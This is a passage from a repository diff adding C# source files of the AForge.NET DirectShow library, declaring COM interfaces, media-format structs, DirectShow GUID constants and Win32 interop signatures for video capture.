InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IReferenceClock
{
/// <summary>
/// The GetTime method retrieves the current reference time.
/// </summary>
///
/// <param name="pTime">Pointer to a variable that receives the current time, in 100-nanosecond units.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetTime( [Out] out long pTime );
/// <summary>
/// The AdviseTime method creates a one-shot advise request.
/// </summary>
///
/// <param name="baseTime">Base reference time, in 100-nanosecond units. See Remarks.</param>
/// <param name="streamTime">Stream offset time, in 100-nanosecond units. See Remarks.</param>
/// <param name="hEvent">Handle to an event, created by the caller.</param>
/// <param name="pdwAdviseCookie">Pointer to a variable that receives an identifier for the advise request.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AdviseTime(
[In] long baseTime,
[In] long streamTime,
[In] IntPtr hEvent,
[Out] out int pdwAdviseCookie );
/// <summary>
/// The AdvisePeriodic method creates a periodic advise request.
/// </summary>
///
/// <param name="startTime">Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME.</param>
/// <param name="periodTime">Time between notifications, in 100-nanosecond units. Must be greater than zero.</param>
/// <param name="hSemaphore">Handle to a semaphore, created by the caller.</param>
/// <param name="pdwAdviseCookie">Pointer to a variable that receives an identifier for the advise request.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AdvisePeriodic(
[In] long startTime,
[In] long periodTime,
[In] IntPtr hSemaphore,
[Out] out int pdwAdviseCookie );
/// <summary>
/// The Unadvise method removes a pending advise request.
/// </summary>
///
/// <param name="dwAdviseCookie">Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Unadvise( [In] int dwAdviseCookie );
}
}

View File

@ -0,0 +1,103 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve
/// individual media samples as they move through the filter graph.
/// </summary>
///
[ComImport,
Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface ISampleGrabber
{
/// <summary>
/// Specifies whether the filter should stop the graph after receiving one sample.
/// </summary>
///
/// <param name="oneShot">Boolean value specifying whether the filter should stop the graph after receiving one sample.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot );
/// <summary>
/// Specifies the media type for the connection on the Sample Grabber's input pin.
/// </summary>
///
/// <param name="mediaType">Specifies the required media type.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Retrieves the media type for the connection on the Sample Grabber's input pin.
/// </summary>
///
/// <param name="mediaType"><see cref="AMMediaType"/> structure, which receives media type.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Specifies whether to copy sample data into a buffer as it goes through the filter.
/// </summary>
///
/// <param name="bufferThem">Boolean value specifying whether to buffer sample data.
/// If <b>true</b>, the filter copies sample data into an internal buffer.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem );
/// <summary>
/// Retrieves a copy of the sample that the filter received most recently.
/// </summary>
///
/// <param name="bufferSize">Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size.</param>
/// <param name="buffer">Pointer to a buffer to receive a copy of the sample, or NULL.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetCurrentBuffer( ref int bufferSize, IntPtr buffer );
/// <summary>
/// Not currently implemented.
/// </summary>
///
/// <param name="sample"></param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetCurrentSample( IntPtr sample );
/// <summary>
/// Specifies a callback method to call on incoming samples.
/// </summary>
///
/// <param name="callback"><see cref="ISampleGrabberCB"/> interface containing the callback method, or NULL to cancel the callback.</param>
/// <param name="whichMethodToCallback">Index specifying the callback method.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback );
}
}

View File

@ -0,0 +1,47 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface provides callback methods for the <see cref="ISampleGrabber.SetCallback"/> method.
/// </summary>
///
[ComImport,
Guid("0579154A-2B53-4994-B0D0-E773148EFF85"),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface ISampleGrabberCB
{
/// <summary>
/// Callback method that receives a pointer to the media sample.
/// </summary>
///
/// <param name="sampleTime">Starting time of the sample, in seconds.</param>
/// <param name="sample">Pointer to the sample's <b>IMediaSample</b> interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SampleCB( double sampleTime, IntPtr sample );
/// <summary>
/// Callback method that receives a pointer to the sample bufferþ
/// </summary>
///
/// <param name="sampleTime">Starting time of the sample, in seconds.</param>
/// <param name="buffer">Pointer to a buffer that contains the sample data.</param>
/// <param name="bufferLen">Length of the buffer pointed to by <b>buffer</b>, in bytes</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int BufferCB( double sampleTime, IntPtr buffer, int bufferLen );
}
}

View File

@ -0,0 +1,36 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface indicates that an object supports property pages.
/// </summary>
///
[ComImport,
Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface ISpecifyPropertyPages
{
/// <summary>
/// Fills a counted array of GUID values where each GUID specifies the
/// CLSID of each property page that can be displayed in the property
/// sheet for this object.
/// </summary>
///
/// <param name="pPages">Pointer to a CAUUID structure that must be initialized
/// and filled before returning.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetPages( out CAUUID pPages );
}
}

View File

@ -0,0 +1,518 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2013
// contacts@aforgenet.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
using System.Drawing;
// PIN_DIRECTION
/// <summary>
/// This enumeration indicates a pin's direction.
/// </summary>
///
[ComVisible( false )]
internal enum PinDirection
{
/// <summary>
/// Input pin.
/// </summary>
Input,
/// <summary>
/// Output pin.
/// </summary>
Output
}
// AM_MEDIA_TYPE
/// <summary>
/// The structure describes the format of a media sample.
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential )]
internal class AMMediaType : IDisposable
{
/// <summary>
/// Globally unique identifier (GUID) that specifies the major type of the media sample.
/// </summary>
public Guid MajorType;
/// <summary>
/// GUID that specifies the subtype of the media sample.
/// </summary>
public Guid SubType;
/// <summary>
/// If <b>true</b>, samples are of a fixed size.
/// </summary>
[MarshalAs( UnmanagedType.Bool )]
public bool FixedSizeSamples = true;
/// <summary>
/// If <b>true</b>, samples are compressed using temporal (interframe) compression.
/// </summary>
[MarshalAs( UnmanagedType.Bool )]
public bool TemporalCompression;
/// <summary>
/// Size of the sample in bytes. For compressed data, the value can be zero.
/// </summary>
public int SampleSize = 1;
/// <summary>
/// GUID that specifies the structure used for the format block.
/// </summary>
public Guid FormatType;
/// <summary>
/// Not used.
/// </summary>
public IntPtr unkPtr;
/// <summary>
/// Size of the format block, in bytes.
/// </summary>
public int FormatSize;
/// <summary>
/// Pointer to the format block.
/// </summary>
public IntPtr FormatPtr;
/// <summary>
/// Destroys the instance of the <see cref="AMMediaType"/> class.
/// </summary>
///
~AMMediaType( )
{
Dispose( false );
}
/// <summary>
/// Dispose the object.
/// </summary>
///
public void Dispose( )
{
Dispose( true );
// remove me from the Finalization queue
GC.SuppressFinalize( this );
}
/// <summary>
/// Dispose the object
/// </summary>
///
/// <param name="disposing">Indicates if disposing was initiated manually.</param>
///
protected virtual void Dispose( bool disposing )
{
if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) )
{
Marshal.FreeCoTaskMem( FormatPtr );
FormatSize = 0;
}
if ( unkPtr != IntPtr.Zero )
{
Marshal.Release( unkPtr );
unkPtr = IntPtr.Zero;
}
}
}
// PIN_INFO
/// <summary>
/// The structure contains information about a pin.
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )]
internal struct PinInfo
{
/// <summary>
/// Owning filter.
/// </summary>
public IBaseFilter Filter;
/// <summary>
/// Direction of the pin.
/// </summary>
public PinDirection Direction;
/// <summary>
/// Name of the pin.
/// </summary>
[MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )]
public string Name;
}
// FILTER_INFO
[ComVisible( false ),
StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )]
internal struct FilterInfo
{
/// <summary>
/// Filter's name.
/// </summary>
[MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )]
public string Name;
/// <summary>
/// Owning graph.
/// </summary>
public IFilterGraph FilterGraph;
}
// VIDEOINFOHEADER
/// <summary>
/// The structure describes the bitmap and color information for a video image.
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential )]
internal struct VideoInfoHeader
{
/// <summary>
/// <see cref="RECT"/> structure that specifies the source video window.
/// </summary>
public RECT SrcRect;
/// <summary>
/// <see cref="RECT"/> structure that specifies the destination video window.
/// </summary>
public RECT TargetRect;
/// <summary>
/// Approximate data rate of the video stream, in bits per second.
/// </summary>
public int BitRate;
/// <summary>
/// Data error rate, in bit errors per second.
/// </summary>
public int BitErrorRate;
/// <summary>
/// The desired average display time of the video frames, in 100-nanosecond units.
/// </summary>
public long AverageTimePerFrame;
/// <summary>
/// <see cref="BitmapInfoHeader"/> structure that contains color and dimension information for the video image bitmap.
/// </summary>
public BitmapInfoHeader BmiHeader;
}
// VIDEOINFOHEADER2
/// <summary>
/// The structure describes the bitmap and color information for a video image (v2).
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential )]
internal struct VideoInfoHeader2
{
/// <summary>
/// <see cref="RECT"/> structure that specifies the source video window.
/// </summary>
public RECT SrcRect;
/// <summary>
/// <see cref="RECT"/> structure that specifies the destination video window.
/// </summary>
public RECT TargetRect;
/// <summary>
/// Approximate data rate of the video stream, in bits per second.
/// </summary>
public int BitRate;
/// <summary>
/// Data error rate, in bit errors per second.
/// </summary>
public int BitErrorRate;
/// <summary>
/// The desired average display time of the video frames, in 100-nanosecond units.
/// </summary>
public long AverageTimePerFrame;
/// <summary>
/// Flags that specify how the video is interlaced.
/// </summary>
public int InterlaceFlags;
/// <summary>
/// Flag set to indicate that the duplication of the stream should be restricted.
/// </summary>
public int CopyProtectFlags;
/// <summary>
/// The X dimension of picture aspect ratio.
/// </summary>
public int PictAspectRatioX;
/// <summary>
/// The Y dimension of picture aspect ratio.
/// </summary>
public int PictAspectRatioY;
/// <summary>
/// Reserved for future use.
/// </summary>
public int Reserved1;
/// <summary>
/// Reserved for future use.
/// </summary>
public int Reserved2;
/// <summary>
/// <see cref="BitmapInfoHeader"/> structure that contains color and dimension information for the video image bitmap.
/// </summary>
public BitmapInfoHeader BmiHeader;
}
/// <summary>
/// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB).
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential, Pack = 2 )]
internal struct BitmapInfoHeader
{
/// <summary>
/// Specifies the number of bytes required by the structure.
/// </summary>
public int Size;
/// <summary>
/// Specifies the width of the bitmap.
/// </summary>
public int Width;
/// <summary>
/// Specifies the height of the bitmap, in pixels.
/// </summary>
public int Height;
/// <summary>
/// Specifies the number of planes for the target device. This value must be set to 1.
/// </summary>
public short Planes;
/// <summary>
/// Specifies the number of bits per pixel.
/// </summary>
public short BitCount;
/// <summary>
/// If the bitmap is compressed, this member is a <b>FOURCC</b> the specifies the compression.
/// </summary>
public int Compression;
/// <summary>
/// Specifies the size, in bytes, of the image.
/// </summary>
public int ImageSize;
/// <summary>
/// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap.
/// </summary>
public int XPelsPerMeter;
/// <summary>
/// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap.
/// </summary>
public int YPelsPerMeter;
/// <summary>
/// Specifies the number of color indices in the color table that are actually used by the bitmap.
/// </summary>
public int ColorsUsed;
/// <summary>
/// Specifies the number of color indices that are considered important for displaying the bitmap.
/// </summary>
public int ColorsImportant;
}
// RECT
/// <summary>
/// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle.
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential )]
internal struct RECT
{
/// <summary>
/// Specifies the x-coordinate of the upper-left corner of the rectangle.
/// </summary>
public int Left;
/// <summary>
/// Specifies the y-coordinate of the upper-left corner of the rectangle.
/// </summary>
public int Top;
/// <summary>
/// Specifies the x-coordinate of the lower-right corner of the rectangle.
/// </summary>
public int Right;
/// <summary>
/// Specifies the y-coordinate of the lower-right corner of the rectangle.
/// </summary>
public int Bottom;
}
// CAUUID
/// <summary>
/// The CAUUID structure is a Counted Array of UUID or GUID types.
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential )]
internal struct CAUUID
{
/// <summary>
/// Size of the array pointed to by <b>pElems</b>.
/// </summary>
public int cElems;
/// <summary>
/// Pointer to an array of UUID values, each of which specifies UUID.
/// </summary>
public IntPtr pElems;
/// <summary>
/// Performs manual marshaling of <b>pElems</b> to retrieve an array of Guid objects.
/// </summary>
///
/// <returns>A managed representation of <b>pElems</b>.</returns>
///
public Guid[] ToGuidArray( )
{
Guid[] retval = new Guid[cElems];
for ( int i = 0; i < cElems; i++ )
{
IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) );
retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) );
}
return retval;
}
}
/// <summary>
/// Enumeration of DirectShow event codes.
/// </summary>
internal enum DsEvCode
{
None,
Complete = 0x01, // EC_COMPLETE
DeviceLost = 0x1F, // EC_DEVICE_LOST
//(...) not yet interested in other events
}
[Flags, ComVisible( false )]
internal enum AnalogVideoStandard
{
None = 0x00000000, // This is a digital sensor
NTSC_M = 0x00000001, // 75 IRE Setup
NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup
NTSC_433 = 0x00000004,
PAL_B = 0x00000010,
PAL_D = 0x00000020,
PAL_G = 0x00000040,
PAL_H = 0x00000080,
PAL_I = 0x00000100,
PAL_M = 0x00000200,
PAL_N = 0x00000400,
PAL_60 = 0x00000800,
SECAM_B = 0x00001000,
SECAM_D = 0x00002000,
SECAM_G = 0x00004000,
SECAM_H = 0x00008000,
SECAM_K = 0x00010000,
SECAM_K1 = 0x00020000,
SECAM_L = 0x00040000,
SECAM_L1 = 0x00080000,
PAL_N_COMBO = 0x00100000 // Argentina
}
[Flags, ComVisible( false )]
internal enum VideoControlFlags
{
FlipHorizontal = 0x0001,
FlipVertical = 0x0002,
ExternalTriggerEnable = 0x0004,
Trigger = 0x0008
}
[StructLayout( LayoutKind.Sequential ), ComVisible( false )]
internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS
{
public Guid Guid;
public AnalogVideoStandard VideoStandard;
public Size InputSize;
public Size MinCroppingSize;
public Size MaxCroppingSize;
public int CropGranularityX;
public int CropGranularityY;
public int CropAlignX;
public int CropAlignY;
public Size MinOutputSize;
public Size MaxOutputSize;
public int OutputGranularityX;
public int OutputGranularityY;
public int StretchTapsX;
public int StretchTapsY;
public int ShrinkTapsX;
public int ShrinkTapsY;
public long MinFrameInterval;
public long MaxFrameInterval;
public int MinBitsPerSecond;
public int MaxBitsPerSecond;
}
/// <summary>
/// Specifies a filter's state or the state of the filter graph.
/// </summary>
internal enum FilterState
{
/// <summary>
/// Stopped. The filter is not processing data.
/// </summary>
State_Stopped,
/// <summary>
/// Paused. The filter is processing data, but not rendering it.
/// </summary>
State_Paused,
/// <summary>
/// Running. The filter is processing and rendering data.
/// </summary>
State_Running
}
}

View File

@ -0,0 +1,299 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2013
// contacts@aforgenet.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// DirectShow class IDs.
/// </summary>
[ComVisible( false )]
static internal class Clsid
{
/// <summary>
/// System device enumerator.
/// </summary>
///
/// <remarks>Equals to CLSID_SystemDeviceEnum.</remarks>
///
public static readonly Guid SystemDeviceEnum =
new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
/// <summary>
/// Filter graph.
/// </summary>
///
/// <remarks>Equals to CLSID_FilterGraph.</remarks>
///
public static readonly Guid FilterGraph =
new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// Sample grabber.
/// </summary>
///
/// <remarks>Equals to CLSID_SampleGrabber.</remarks>
///
public static readonly Guid SampleGrabber =
new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 );
/// <summary>
/// Capture graph builder.
/// </summary>
///
/// <remarks>Equals to CLSID_CaptureGraphBuilder2.</remarks>
///
public static readonly Guid CaptureGraphBuilder2 =
new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
/// <summary>
/// Async reader.
/// </summary>
///
/// <remarks>Equals to CLSID_AsyncReader.</remarks>
///
public static readonly Guid AsyncReader =
new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
}
/// <summary>
/// DirectShow format types.
/// </summary>
///
[ComVisible( false )]
static internal class FormatType
{
/// <summary>
/// VideoInfo.
/// </summary>
///
/// <remarks>Equals to FORMAT_VideoInfo.</remarks>
///
public static readonly Guid VideoInfo =
new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A );
/// <summary>
/// VideoInfo2.
/// </summary>
///
/// <remarks>Equals to FORMAT_VideoInfo2.</remarks>
///
public static readonly Guid VideoInfo2 =
new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
}
/// <summary>
/// DirectShow media types.
/// </summary>
///
[ComVisible( false )]
static internal class MediaType
{
/// <summary>
/// Video.
/// </summary>
///
/// <remarks>Equals to MEDIATYPE_Video.</remarks>
///
public static readonly Guid Video =
new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// Interleaved. Used by Digital Video (DV).
/// </summary>
///
/// <remarks>Equals to MEDIATYPE_Interleaved.</remarks>
///
public static readonly Guid Interleaved =
new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// Audio.
/// </summary>
///
/// <remarks>Equals to MEDIATYPE_Audio.</remarks>
///
public static readonly Guid Audio =
new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// Text.
/// </summary>
///
/// <remarks>Equals to MEDIATYPE_Text.</remarks>
///
public static readonly Guid Text =
new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// Byte stream with no time stamps.
/// </summary>
///
/// <remarks>Equals to MEDIATYPE_Stream.</remarks>
///
public static readonly Guid Stream =
new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
}
/// <summary>
/// DirectShow media subtypes.
/// </summary>
///
[ComVisible( false )]
static internal class MediaSubType
{
/// <summary>
/// YUY2 (packed 4:2:2).
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_YUYV.</remarks>
///
public static readonly Guid YUYV =
new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// IYUV.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_IYUV.</remarks>
///
public static readonly Guid IYUV =
new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// A DV encoding format. (FOURCC 'DVSD')
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_DVSD.</remarks>
///
public static readonly Guid DVSD =
new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// RGB, 1 bit per pixel (bpp), palettized.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB1.</remarks>
///
public static readonly Guid RGB1 =
new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// RGB, 4 bpp, palettized.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB4.</remarks>
///
public static readonly Guid RGB4 =
new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// RGB, 8 bpp.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB8.</remarks>
///
public static readonly Guid RGB8 =
new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// RGB 565, 16 bpp.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB565.</remarks>
///
public static readonly Guid RGB565 =
new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// RGB 555, 16 bpp.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB555.</remarks>
///
public static readonly Guid RGB555 =
new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// RGB, 24 bpp.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB24.</remarks>
///
public static readonly Guid RGB24 =
new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// RGB, 32 bpp, no alpha channel.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB32.</remarks>
///
public static readonly Guid RGB32 =
new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// Data from AVI file.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_Avi.</remarks>
///
public static readonly Guid Avi =
new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// Advanced Streaming Format (ASF).
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_Asf.</remarks>
///
public static readonly Guid Asf =
new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 );
}
/// <summary>
/// DirectShow pin categories.
/// </summary>
///
[ComVisible( false )]
static internal class PinCategory
{
/// <summary>
/// Capture pin.
/// </summary>
///
/// <remarks>Equals to PIN_CATEGORY_CAPTURE.</remarks>
///
public static readonly Guid Capture =
new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
/// <summary>
/// Still image pin.
/// </summary>
///
/// <remarks>Equals to PIN_CATEGORY_STILL.</remarks>
///
public static readonly Guid StillImage =
new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
}
// Below GUIDs are used by ICaptureGraphBuilder::FindInterface().
[ComVisible( false )]
static internal class FindDirection
{
/// <summary>Equals to LOOK_UPSTREAM_ONLY.</summary>
public static readonly Guid UpstreamOnly =
new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
/// <summary>Equals to LOOK_DOWNSTREAM_ONLY.</summary>
public static readonly Guid DownstreamOnly =
new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
}
}

View File

@ -0,0 +1,102 @@
// AForge Video for Windows Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2007-2011
// contacts@aforgenet.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
/// <summary>
/// Some Win32 API used internally.
/// </summary>
///
internal static class Win32
{
/// <summary>
/// Supplies a pointer to an implementation of <b>IBindCtx</b> (a bind context object).
/// This object stores information about a particular moniker-binding operation.
/// </summary>
///
/// <param name="reserved">Reserved for future use; must be zero.</param>
/// <param name="ppbc">Address of <b>IBindCtx*</b> pointer variable that receives the
/// interface pointer to the new bind context object.</param>
///
/// <returns>Returns <b>S_OK</b> on success.</returns>
///
[DllImport( "ole32.dll" )]
public static extern
int CreateBindCtx( int reserved, out IBindCtx ppbc );
/// <summary>
/// Converts a string into a moniker that identifies the object named by the string.
/// </summary>
///
/// <param name="pbc">Pointer to the IBindCtx interface on the bind context object to be used in this binding operation.</param>
/// <param name="szUserName">Pointer to a zero-terminated wide character string containing the display name to be parsed. </param>
/// <param name="pchEaten">Pointer to the number of characters of szUserName that were consumed.</param>
/// <param name="ppmk">Address of <b>IMoniker*</b> pointer variable that receives the interface pointer
/// to the moniker that was built from <b>szUserName</b>.</param>
///
/// <returns>Returns <b>S_OK</b> on success.</returns>
///
[DllImport( "ole32.dll", CharSet = CharSet.Unicode )]
public static extern
int MkParseDisplayName( IBindCtx pbc, string szUserName,
ref int pchEaten, out IMoniker ppmk );
/// <summary>
/// Copy a block of memory.
/// </summary>
///
/// <param name="dst">Destination pointer.</param>
/// <param name="src">Source pointer.</param>
/// <param name="count">Memory block's length to copy.</param>
///
/// <returns>Return's the value of <b>dst</b> - pointer to destination.</returns>
///
[DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )]
public static unsafe extern int memcpy(
byte* dst,
byte* src,
int count );
/// <summary>
/// Invokes a new property frame, that is, a property sheet dialog box.
/// </summary>
///
/// <param name="hwndOwner">Parent window of property sheet dialog box.</param>
/// <param name="x">Horizontal position for dialog box.</param>
/// <param name="y">Vertical position for dialog box.</param>
/// <param name="caption">Dialog box caption.</param>
/// <param name="cObjects">Number of object pointers in <b>ppUnk</b>.</param>
/// <param name="ppUnk">Pointer to the objects for property sheet.</param>
/// <param name="cPages">Number of property pages in <b>lpPageClsID</b>.</param>
/// <param name="lpPageClsID">Array of CLSIDs for each property page.</param>
/// <param name="lcid">Locale identifier for property sheet locale.</param>
/// <param name="dwReserved">Reserved.</param>
/// <param name="lpvReserved">Reserved.</param>
///
/// <returns>Returns <b>S_OK</b> on success.</returns>
///
[DllImport( "oleaut32.dll" )]
public static extern int OleCreatePropertyFrame(
IntPtr hwndOwner,
int x,
int y,
[MarshalAs( UnmanagedType.LPWStr )] string caption,
int cObjects,
[MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )]
ref object ppUnk,
int cPages,
IntPtr lpPageClsID,
int lcid,
int dwReserved,
IntPtr lpvReserved );
}
}

View File

@ -0,0 +1,123 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2012
// contacts@aforgenet.com
//
namespace AForge.Video.DirectShow
{
/// <summary>
/// Specifies the physical type of pin (audio or video).
/// </summary>
public enum PhysicalConnectorType
{
/// <summary>
